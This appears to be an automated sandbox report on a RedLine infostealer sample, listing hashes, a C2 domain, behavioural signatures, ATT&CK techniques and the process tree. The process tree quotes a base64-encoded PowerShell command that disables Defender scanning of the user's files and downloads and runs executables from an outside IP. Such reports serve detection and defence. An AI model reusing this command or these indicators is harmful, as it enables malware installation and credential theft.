Resubmissions

19-08-2022 18:19

220819-wx8l9aghap 10

19-08-2022 18:17

220819-wwzyqagghn 10

19-08-2022 18:15

220819-wvz74abea4 10

Analysis

  • max time kernel
    55s
  • max time network
    60s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-08-2022 18:17

General

  • Target

    1111.exe

  • Size

    6KB

  • MD5

    cad36ced89b961355a57fc8acedfe557

  • SHA1

    5b020db088ef17cebb57ba77fd9427414d292f36

  • SHA256

    08b2434fa33b35c428fb85e938fed0d6d715b5e46806bbe2d130ebb0ed2df614

  • SHA512

    760c977a6835479956d8f1f74dd3f6d10557bb66c57d990243a4fa94d4d5845ad9b31d069660702aab40adceed5525e3c65613663ee442899fa43005b4bf52db

Malware Config

Extracted

Family

redline

Botnet

1877

C2

overthinker1877.duckdns.org:60732

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 3 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\1111.exe
    "C:\Users\Admin\AppData\Local\Temp\1111.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2428
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHUAYwBmACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAdwB0AHAAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAaABwAGMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaQBpAHQAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwAxADMALgA5ADAALgAxADIAOAAuADIANQAzAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHMAdgBzAGgAbwBzAHQAcwAuAGUAeABlACcALAAgADwAIwB5AGcAbAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHEAYQBoACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHAAbQB5ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAHMAdgBzAGgAbwBzAHQAcwAuAGUAeABlACcAKQApADwAIwBmAG0AawAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AMQAzAC4AOQAwAC4AMQAyADgALgAyADUAMwAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBzAHYAYwBoAG8AcwB0AHMALgBlAHgAZQAnACwAIAA8ACMAdwBoAG4AIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBhAGkAdwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBuAG4AZAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBzAHYAYwBoAG8AcwB0AHMALgBlAHgAZQAnACkAKQA8ACMAYwBoAG4AIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvADEAMwAuADkAMAAuADEAMgA4AC4AMgA1ADMALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AcwB2AGMAaABvAHMAdAAuAGUAeABlACcALAAgADwAIwB0AHAAdwAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGEAdAB4ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGQAcQBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAHMAdgBjAGgAbwBzAHQALgBlAHgAZQAnACkAKQA8ACMAdQBwAGkAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZAB0AGEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAG4AagB0ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAHMAdgBzAGgAbwBzAHQAcwAuAGUAeABlACcAKQA8ACMAcwBlAHcAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAagBlAHQAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHkAZwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAHMAdgBjAGgAbwBzAHQAcwAuAGUAeABlACcAKQA8ACMAagBrAGQAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZwBjAHoAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHgAcQBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAHMAdgBjAGgAbwBzAHQALgBlAHgAZQAnACkAPAAjAGsAYgB6ACMAPgA="
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5040
      • C:\Users\Admin\AppData\Local\Temp\svchosts.exe
        "C:\Users\Admin\AppData\Local\Temp\svchosts.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2364
      • C:\Users\Admin\AppData\Local\Temp\svchost.exe
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        3⤵
        • Executes dropped EXE
        PID:4284

Network

MITRE ATT&CK Matrix ATT&CK v6

Credential Access

Credentials in Files

2
T1081

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

Collection

Data from Local System

2
T1005

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\svchost.exe
    Filesize

    14KB

    MD5

    1937d5a853734874a0ef18d4acc43113

    SHA1

    37c4f8d0c6fea50f836c0a308b06de910205189a

    SHA256

    88e6238b9329ac7eca5ff20016f896c4869760a44e2da20cfd070bf83db52d64

    SHA512

    e43cbf94a70683649ac126a68d37f0d69bb581864e5e1a6076f9a09e2a3a89f88b436d3ef41300af873ea1fc70f3fdb75fe69288bcf5c17ef100b4b802478a28

  • C:\Users\Admin\AppData\Local\Temp\svchost.exe
    Filesize

    14KB

    MD5

    1937d5a853734874a0ef18d4acc43113

    SHA1

    37c4f8d0c6fea50f836c0a308b06de910205189a

    SHA256

    88e6238b9329ac7eca5ff20016f896c4869760a44e2da20cfd070bf83db52d64

    SHA512

    e43cbf94a70683649ac126a68d37f0d69bb581864e5e1a6076f9a09e2a3a89f88b436d3ef41300af873ea1fc70f3fdb75fe69288bcf5c17ef100b4b802478a28

  • C:\Users\Admin\AppData\Local\Temp\svchosts.exe
    Filesize

    205KB

    MD5

    b3503746bb7f1d30755c9f4a26ce0a2c

    SHA1

    2490c2a6b3fad0711993c8bb16aab2d21cefac6f

    SHA256

    90706da9b2d8dca13b4823cb9b6c95bde3df92ac336826722b33cfe495d2e300

    SHA512

    142841d0e5a51212af7f7ae6cd083eb5daa2e5542f3c8294524ff8c722a4dcbe8462bf647f928ba3b3edb4d36638a4be5a83ad5762e9b8e66429f6006901b72c

  • C:\Users\Admin\AppData\Local\Temp\svchosts.exe
    Filesize

    205KB

    MD5

    b3503746bb7f1d30755c9f4a26ce0a2c

    SHA1

    2490c2a6b3fad0711993c8bb16aab2d21cefac6f

    SHA256

    90706da9b2d8dca13b4823cb9b6c95bde3df92ac336826722b33cfe495d2e300

    SHA512

    142841d0e5a51212af7f7ae6cd083eb5daa2e5542f3c8294524ff8c722a4dcbe8462bf647f928ba3b3edb4d36638a4be5a83ad5762e9b8e66429f6006901b72c

  • memory/2364-164-0x0000000005EA0000-0x0000000006062000-memory.dmp
    Filesize

    1.8MB

  • memory/2364-163-0x0000000004B80000-0x0000000004C8A000-memory.dmp
    Filesize

    1.0MB

  • memory/2364-162-0x00000000048D0000-0x000000000490C000-memory.dmp
    Filesize

    240KB

  • memory/2364-161-0x0000000004870000-0x0000000004882000-memory.dmp
    Filesize

    72KB

  • memory/2364-159-0x0000000004FB0000-0x00000000055C8000-memory.dmp
    Filesize

    6.1MB

  • memory/2364-158-0x0000000000010000-0x0000000000048000-memory.dmp
    Filesize

    224KB

  • memory/2364-151-0x0000000000000000-mapping.dmp
  • memory/2364-165-0x00000000065A0000-0x0000000006ACC000-memory.dmp
    Filesize

    5.2MB

  • memory/2364-166-0x00000000061F0000-0x0000000006266000-memory.dmp
    Filesize

    472KB

  • memory/2364-167-0x0000000006550000-0x000000000656E000-memory.dmp
    Filesize

    120KB

  • memory/4284-160-0x0000000005BD0000-0x0000000005C62000-memory.dmp
    Filesize

    584KB

  • memory/4284-156-0x0000000000890000-0x000000000089A000-memory.dmp
    Filesize

    40KB

  • memory/4284-153-0x0000000000000000-mapping.dmp
  • memory/5040-141-0x0000000006F50000-0x0000000006F6E000-memory.dmp
    Filesize

    120KB

  • memory/5040-142-0x0000000008300000-0x000000000897A000-memory.dmp
    Filesize

    6.5MB

  • memory/5040-149-0x0000000008050000-0x0000000008072000-memory.dmp
    Filesize

    136KB

  • memory/5040-148-0x0000000007F30000-0x0000000007F38000-memory.dmp
    Filesize

    32KB

  • memory/5040-147-0x0000000007F40000-0x0000000007F5A000-memory.dmp
    Filesize

    104KB

  • memory/5040-146-0x0000000007EF0000-0x0000000007EFE000-memory.dmp
    Filesize

    56KB

  • memory/5040-145-0x0000000007F80000-0x0000000008016000-memory.dmp
    Filesize

    600KB

  • memory/5040-144-0x0000000007D20000-0x0000000007D2A000-memory.dmp
    Filesize

    40KB

  • memory/5040-143-0x0000000007CC0000-0x0000000007CDA000-memory.dmp
    Filesize

    104KB

  • memory/5040-150-0x0000000008F30000-0x00000000094D4000-memory.dmp
    Filesize

    5.6MB

  • memory/5040-132-0x0000000000000000-mapping.dmp
  • memory/5040-140-0x0000000070590000-0x00000000705DC000-memory.dmp
    Filesize

    304KB

  • memory/5040-139-0x0000000006F70000-0x0000000006FA2000-memory.dmp
    Filesize

    200KB

  • memory/5040-138-0x00000000069B0000-0x00000000069CE000-memory.dmp
    Filesize

    120KB

  • memory/5040-137-0x0000000006350000-0x00000000063B6000-memory.dmp
    Filesize

    408KB

  • memory/5040-136-0x00000000062E0000-0x0000000006346000-memory.dmp
    Filesize

    408KB

  • memory/5040-135-0x0000000005AF0000-0x0000000005B12000-memory.dmp
    Filesize

    136KB

  • memory/5040-134-0x0000000005B80000-0x00000000061A8000-memory.dmp
    Filesize

    6.2MB

  • memory/5040-133-0x00000000053D0000-0x0000000005406000-memory.dmp
    Filesize

    216KB